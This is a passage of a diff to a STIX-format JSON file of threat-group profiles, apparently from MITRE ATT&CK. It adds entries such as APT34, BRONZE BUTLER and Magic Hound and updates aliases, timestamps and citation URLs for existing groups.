+                    "description": "Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.",
+                    "url": "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/"
+                }
+            ]
+        },
+        {
+            "type": "intrusion-set",
+            "id": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "APT34",
+            "description": "APT34 is an Iranian cyber espionage group that has been active since at least 2014. The group has targeted a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. APT34 loosely aligns with public reporting related to OilRig, but may not wholly align due to companies tracking threat groups in different ways. (Citation: FireEye APT34 Dec 2017)",
+            "aliases": [
+                "APT34"
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Group/G0057",
+                    "external_id": "G0057"
+                },
+                {
+                    "source_name": "FireEye APT34 Dec 2017",
+                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
                 }
             ]
         },
@@ -15050,9 +15633,9 @@
             "id": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:45.629Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Axiom",
-            "description": " (Citation: Axiom) is a cyber espionage group suspected to be associated with the Chinese government. (Citation: Axiom) It is responsible for the Operation SMN campaign. (Citation: Axiom) Though both this group and Winnti Group use the malware Winnti, the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015)",
+            "description": " (Citation: Axiom) is a cyber espionage group suspected to be associated with the Chinese government. It is responsible for the Operation SMN campaign. (Citation: Axiom) Though both this group and Winnti Group use the malware Winnti, the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015)",
             "aliases": [
                 "Axiom",
                 "Group 72"
@@ -15079,7 +15662,7 @@
                 {
                     "source_name": "Kaspersky Winnti June 2015",
                     "description": "Tarakanov, D. (2015, June 22). Games are over: Winnti is now targeting pharmaceutical companies. Retrieved January 14, 2016.",
-                    "url": "https://securelist.com/blog/incidents/70991/games-are-over/"
+                    "url": "https://securelist.com/games-are-over/70991/"
                 },
                 {
                     "source_name": "Novetta Winnti April 2015",
@@ -15090,19 +15673,57 @@
         },
         {
             "type": "intrusion-set",
-            "id": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c",
+            "id": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-05-31T21:31:49.021Z",
-            "modified": "2017-12-14T16:55:59.600Z",
-            "name": "Carbanak",
-            "description": "Carbanak is a threat group that mainly targets banks. It also refers to malware of the same name (Carbanak). (Citation: Kaspersky Carbanak)",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "BRONZE BUTLER",
+            "description": "BRONZE BUTLER is a cyber espionage group with likely Chinese origins that has been active since at least 2008. The group primarily targets Japanese organizations, particularly those in government, biotechnology, electronics manufacturing, and industrial chemistry. (Citation: Trend Micro Daserf Nov 2017) (Citation: Secureworks BRONZE BUTLER Oct 2017)",
             "aliases": [
-                "Carbanak",
-                "Anunak"
+                "BRONZE BUTLER",
+                "REDBALDKNIGHT",
+                "Tick"
             ],
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Group/G0060",
+                    "external_id": "G0060"
+                },
+                {
+                    "source_name": "Trend Micro Daserf Nov 2017",
+                    "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.",
+                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/"
+                },
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ]
+        },
+        {
+            "type": "intrusion-set",
+            "id": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2017-05-31T21:31:49.021Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Carbanak",
+            "description": "Carbanak is a threat group that mainly targets banks. It also refers to malware of the same name (Carbanak). It is sometimes referred to as FIN7, but these appear to be two groups using the same Carbanak malware and are therefore tracked separately. (Citation: Kaspersky Carbanak) (Citation: FireEye FIN7 April 2017)\n\nContributors: Anastasios Pingios",
+            "aliases": [
+                "Carbanak",
+                "Anunak",
+                "Carbon Spider"
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_contributors": [
+                "Anastasios Pingios"
+            ],
             "external_references": [
                 {
                     "source_name": "mitre-attack",
@@ -15113,6 +15734,38 @@
                     "source_name": "Kaspersky Carbanak",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved March 3, 2015.",
                     "url": "https://securelist.com/files/2015/02/Carbanak%20APT%20eng.pdf"
+                },
+                {
+                    "source_name": "FireEye FIN7 April 2017",
+                    "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
+                }
+            ]
+        },
+        {
+            "type": "intrusion-set",
+            "id": "intrusion-set--7636484c-adc5-45d4-9bfe-c3e062fbc4a0",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Charming Kitten",
+            "description": "is an Iranian cyber espionage group that has been active since approximately 2014. They appear to focus on targeting individuals of interest to Iran who work in academic research, human rights, and media, with most victims having been located in Iran, the US, Israel, and the UK.  usually tries to access private email and Facebook accounts, and sometimes establishes a foothold on victim computers as a secondary objective. The group's TTPs overlap extensively with another group, Rocket Kitten, resulting in reporting that may not distinguish between the two groups' activities. (Citation: ClearSky Charming Kitten Dec 2017)",
+            "aliases": [
+                "Charming Kitten"
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Group/G0058",
+                    "external_id": "G0058"
+                },
+                {
+                    "source_name": "ClearSky Charming Kitten Dec 2017",
+                    "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming%20Kitten%202017.pdf"
                 }
             ]
         },
@@ -15121,7 +15774,7 @@
             "id": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:46.390Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Cleaver",
             "description": "Cleaver is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver. (Citation: Cylance Cleaver) Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889). (Citation: Dell Threat Group 2889)",
             "aliases": [
@@ -15150,12 +15803,49 @@
                 }
             ]
         },
+        {
+            "type": "intrusion-set",
+            "id": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "CopyKittens",
+            "description": "CopyKittens is an Iranian cyber espionage group that has been operating since at least 2013. It has targeted countries including Israel, Saudi Arabia, Turkey, the U.S., Jordan, and Germany. The group is responsible for the campaign known as Operation Wilted Tulip. (Citation: ClearSky CopyKittens March 2017) (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)",
+            "aliases": [
+                "CopyKittens"
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Group/G0052",
+                    "external_id": "G0052"
+                },
+                {
+                    "source_name": "ClearSky CopyKittens March 2017",
+                    "description": "ClearSky Cyber Security. (2017, March 30). Jerusalem Post and other Israeli websites compromised by Iranian threat agent CopyKitten. Retrieved August 21, 2017.",
+                    "url": "http://www.clearskysec.com/copykitten-jpost/"
+                },
+                {
+                    "source_name": "ClearSky Wilted Tulip July 2017",
+                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf"
+                },
+                {
+                    "source_name": "CopyKittens Nov 2015",
+                    "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.",
+                    "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"
+                }
+            ]
+        },
         {
             "type": "intrusion-set",
             "id": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:50.624Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Darkhotel",
             "description": "Darkhotel is a threat group that has been active since at least 2004. The group has conducted activity on hotel and business center Wi\u2011Fi and physical connections as well as peer-to-peer and file sharing networks. The actors have also conducted spearphishing. (Citation: Kaspersky Darkhotel)",
             "aliases": [
@@ -15182,7 +15872,7 @@
             "id": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:49.412Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Deep Panda",
             "description": "Deep Panda is a suspected Chinese threat group known to target many industries, including government, defense, financial, and telecommunications. (Citation: Alperovitch 2014) The intrusion into healthcare company Anthem has been attributed to Deep Panda. (Citation: ThreatConnect Anthem) This group is also known as Shell Crew, WebMasters, KungFu Kittens, and PinkPanther. (Citation: RSA Shell Crew) Deep Panda also appears to be known as Black Vine based on the attribution of both group names to the Anthem intrusion. (Citation: Symantec Black Vine)",
             "aliases": [
@@ -15205,7 +15895,7 @@
                 {
                     "source_name": "Alperovitch 2014",
                     "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.",
-                    "url": "http://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/"
+                    "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/"
                 },
                 {
                     "source_name": "ThreatConnect Anthem",
@@ -15229,9 +15919,9 @@
             "id": "intrusion-set--f3bdec95-3d62-42d9-a840-29630f6cdc1a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:53.197Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "DragonOK",
-            "description": "DragonOK is a threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, DragonOK is thought to have a direct or indirect relationship with the threat group Moafee.  (Citation: Operation Quantum Entanglement) (Citation: Symbiotic APT Groups) It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT.  (Citation: New DragonOK)",
+            "description": "DragonOK is a threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, DragonOK is thought to have a direct or indirect relationship with the threat group Moafee. (Citation: Operation Quantum Entanglement) It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT. (Citation: New DragonOK)",
             "aliases": [
                 "DragonOK"
             ],
@@ -15249,11 +15939,6 @@
                     "description": "Haq, T., Moran, N., Vashisht, S., Scott, M. (2014, September). OPERATION QUANTUM ENTANGLEMENT. Retrieved November 4, 2015.",
                     "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf"
                 },
-                {
-                    "source_name": "Symbiotic APT Groups",
-                    "description": "Haq, T. (2014, October). An Insight into Symbiotic APT Groups. Retrieved November 4, 2015.",
-                    "url": "https://dl.mandiant.com/EE/library/MIRcon2014/MIRcon%202014%20R&D%20Track%20Insight%20into%20Symbiotic%20APT.pdf"
-                },
                 {
                     "source_name": "New DragonOK",
                     "description": "Miller-Osborn, J., Grunzweig, J.. (2015, April). Unit 42 Identifies New DragonOK Backdoor Malware Deployed Against Japanese Targets. Retrieved November 4, 2015.",
@@ -15266,9 +15951,9 @@
             "id": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:05.217Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Dragonfly",
-            "description": "Dragonfly is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus on the energy sector in early 2013. They have also targeted companies related to industrial control systems. (Citation: Symantec Dragonfly)",
+            "description": "Dragonfly is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus on the energy sector in early 2013. They have also targeted companies related to industrial control systems. The group appeared to decrease activity following public exposure in 2014, and re-emerged in late 2015 through 2017. (Citation: Symantec Dragonfly) (Citation: Symantec Dragonfly) Sept 2017",
             "aliases": [
                 "Dragonfly",
                 "Energetic Bear"
@@ -15294,7 +15979,7 @@
             "id": "intrusion-set--ae41895a-243f-4a65-b99b-d85022326c31",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:03.306Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Dust Storm",
             "description": "Dust Storm is a threat group that has targeted multiple industries in Japan, South Korea, the United States, Europe, and several Southeast Asian countries. (Citation: Cylance Dust Storm)",
             "aliases": [
@@ -15321,7 +16006,7 @@
             "id": "intrusion-set--96e239be-ad99-49eb-b127-3007b8c1bec9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:54.697Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Equation",
             "description": "Equation is a sophisticated threat group that employs multiple remote access tools. The group is known to use zero-day exploits and has developed the capability to overwrite the firmware of hard disk drives. (Citation: Kaspersky Equation QA)",
             "aliases": [
@@ -15348,7 +16033,7 @@
             "id": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "FIN10",
             "description": "FIN10 is a financially motivated threat group that has targeted organizations in North America since at least 2013 through 2016. The group uses stolen data exfiltrated from victims to extort organizations. (Citation: FireEye FIN10 June 2017)",
             "aliases": [
@@ -15370,12 +16055,52 @@
                 }
             ]
         },
+        {
+            "type": "intrusion-set",
+            "id": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "FIN5",
+            "description": "FIN5 is a financially motivated threat group that has targeted personally identifiable information and payment card information. The group has been active since at least 2008 and has targeted the restaurant, gaming, and hotel industries. The group is made up of actors who likely speak Russian. (Citation: FireEye Respond Webinar July 2017) (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)\n\nContributors: Walker Johnson",
+            "aliases": [
+                "FIN5"
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_contributors": [
+                "Walker Johnson"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Group/G0053",
+                    "external_id": "G0053"
+                },
+                {
+                    "source_name": "FireEye Respond Webinar July 2017",
+                    "description": "Scavella, T. and Rifki, A. (2017, July 20). Are you Ready to Respond? (Webinar). Retrieved October 4, 2017.",
+                    "url": "https://www2.fireeye.com/WBNR-Are-you-ready-to-respond.html"
+                },
+                {
+                    "source_name": "Mandiant FIN5 GrrCON Oct 2016",
+                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
+                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"
+                },
+                {
+                    "source_name": "DarkReading FireEye FIN5 Oct 2015",
+                    "description": "Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.",
+                    "url": "https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?"
+                }
+            ]
+        },
         {
             "type": "intrusion-set",
             "id": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:06.015Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "FIN6",
             "description": "FIN6 is a cyber crime group that has stolen payment card data and sold it for profit on underground marketplaces. This group has aggressively targeted and compromised point of sale (PoS) systems in the hospitality and retail sectors. (Citation: FireEye FIN6 April 2016)",
             "aliases": [
@@ -15402,7 +16127,7 @@
             "id": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:09.460Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "FIN7",
             "description": "FIN7 is a financially motivated threat group that has primarily targeted the retail and hospitality sectors, often using point-of-sale malware. It is sometimes referred to as Carbanak Group, but these appear to be two groups using the same Carbanak malware and are therefore tracked separately. (Citation: FireEye FIN7 March 2017) (Citation: FireEye FIN7 April 2017)",
             "aliases": [
@@ -15434,7 +16159,7 @@
             "id": "intrusion-set--0ea72cd5-ca30-46ba-bc04-378f701c658f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:05.611Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "GCMAN",
             "description": "GCMAN is a threat group that focuses on targeting banks for the purpose of transferring money to e-currency services. (Citation: Securelist GCMAN)",
             "aliases": [
@@ -15452,7 +16177,7 @@
                 {
                     "source_name": "Securelist GCMAN",
                     "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, February 8). APT-style bank robberies increase with Metel, GCMAN and Carbanak 2.0 attacks. Retrieved April 20, 2016.",
-                    "url": "https://securelist.com/blog/research/73638/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/"
+                    "url": "https://securelist.com/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/73638/"
                 }
             ]
         },
@@ -15461,7 +16186,7 @@
             "id": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:09.849Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Gamaredon Group",
             "description": "Gamaredon Group is a threat group that has been active since at least 2013 and has targeted individuals likely involved in the Ukrainian government. (Citation: Palo Alto Gamaredon Feb 2017)",
             "aliases": [
@@ -15488,7 +16213,7 @@
             "id": "intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:08.304Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Group5",
             "description": "Group5 is a threat group with a suspected Iranian nexus, though this attribution is not definite. The group has targeted individuals connected to the Syrian opposition via spearphishing and watering holes, normally using Syrian and Iranian themes. Group5 has used two commonly available remote access tools (RATs), njRAT and NanoCore, as well as an Android RAT, DroidJack. (Citation: Citizen Lab Group5)",
             "aliases": [
@@ -15515,7 +16240,7 @@
             "id": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:47.177Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Ke3chang",
             "description": "Ke3chang is a threat group attributed to actors operating out of China. (Citation: Villeneuve et al 2014)",
             "aliases": [
@@ -15542,13 +16267,15 @@
             "id": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:03.807Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Lazarus Group",
             "description": "Lazarus Group is a threat group that has been attributed to the North Korean government. (Citation: US-CERT HIDDEN COBRA June 2017) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by Lazarus Group correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster)",
             "aliases": [
                 "Lazarus Group",
                 "HIDDEN COBRA",
-                "Guardians of Peace"
+                "Guardians of Peace",
+                "ZINC",
+                "NICKEL ACADEMY"
             ],
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
@@ -15576,9 +16303,9 @@
             "id": "intrusion-set--88b7dbc2-32d3-4e31-af2f-3fc24e1582d7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:01.092Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Lotus Blossom",
-            "description": "Lotus Blossom is threat group that has targeted government and military organizations in Southeast Asia. (Citation: Lotus Blossom Jun 2015) It is also known as Spring Dragon. (Citation: Spring Dragon Jun 2015)",
+            "description": "Lotus Blossom is a threat group that has targeted government and military organizations in Southeast Asia. (Citation: Lotus Blossom Jun 2015)",
             "aliases": [
                 "Lotus Blossom",
                 "Spring Dragon"
@@ -15596,11 +16323,6 @@
                     "source_name": "Lotus Blossom Jun 2015",
                     "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.",
                     "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html"
-                },
-                {
-                    "source_name": "Spring Dragon Jun 2015",
-                    "description": "Baumgartner, K.. (2015, June 17). The Spring Dragon APT. Retrieved February 15, 2016.",
-                    "url": "https://securelist.com/blog/research/70726/the-spring-dragon-apt/"
                 }
             ]
         },
@@ -15609,7 +16331,7 @@
             "id": "intrusion-set--9559ecaf-2e75-48a7-aee8-9974020bc772",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:07.928Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "MONSOON",
             "description": "MONSOON is the name of an espionage campaign that apparently started in December 2015 and was ongoing as of July 2016. It is believed that the actors behind MONSOON are the same actors behind Operation Hangover. While attribution is unclear, the campaign has targeted victims with military and political interests in the Indian Subcontinent. (Citation: Forcepoint Monsoon) Operation Hangover has been reported as being Indian in origin, and can be traced back to 2010. (Citation: Operation Hangover May 2013)",
             "aliases": [
@@ -15637,14 +16359,50 @@
                 }
             ]
         },
+        {
+            "type": "intrusion-set",
+            "id": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Magic Hound",
+            "description": "Magic Hound is an espionage campaign operating primarily in the Middle East that dates back to at least mid-2016. The group behind the campaign has primarily targeted organizations in the energy, government, and technology sectors that are either based or have business interests in Saudi Arabia. (Citation: Unit 42 Magic Hound Feb 2017)\n\nContributors: Bryan Lee",
+            "aliases": [
+                "Magic Hound",
+                "Rocket Kitten",
+                "Operation Saffron Rose",
+                "Ajax Security Team",
+                "Operation Woolen-Goldfish",
+                "Newscaster",
+                "Cobalt Gypsy"
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Group/G0059",
+                    "external_id": "G0059"
+                },
+                {
+                    "source_name": "Unit 42 Magic Hound Feb 2017",
+                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
+                }
+            ],
+            "x_mitre_contributors": [
+                "Bryan Lee"
+            ]
+        },
         {
             "type": "intrusion-set",
             "id": "intrusion-set--2e5d3a83-fe00-41a5-9b60-237efc84832f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:46.025Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Moafee",
-            "description": "Moafee is a threat group that appears to operate from the Guandong Province of China. Due to overlapping TTPs, including similar custom tools, Moafee is thought to have a direct or indirect relationship with the threat group DragonOK. . (Citation: Haq 2014)",
+            "description": "Moafee is a threat group that appears to operate from the Guandong Province of China. Due to overlapping TTPs, including similar custom tools, Moafee is thought to have a direct or indirect relationship with the threat group DragonOK. (Citation: Haq 2014)",
             "aliases": [
                 "Moafee"
             ],
@@ -15669,13 +16427,13 @@
             "id": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:55.093Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Molerats",
             "description": "Molerats is a politically-motivated threat group that has been operating since 2012. The group's victims have primarily been in the Middle East, Europe, and the United States. (Citation: DustySky) (Citation: DustySky)2",
             "aliases": [
                 "Molerats",
-                "Gaza cybergang",
-                "Operation Molerats"
+                "Operation Molerats",
+                "Gaza Cybergang"
             ],
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
@@ -15692,12 +16450,44 @@
                 }
             ]
         },
+        {
+            "type": "intrusion-set",
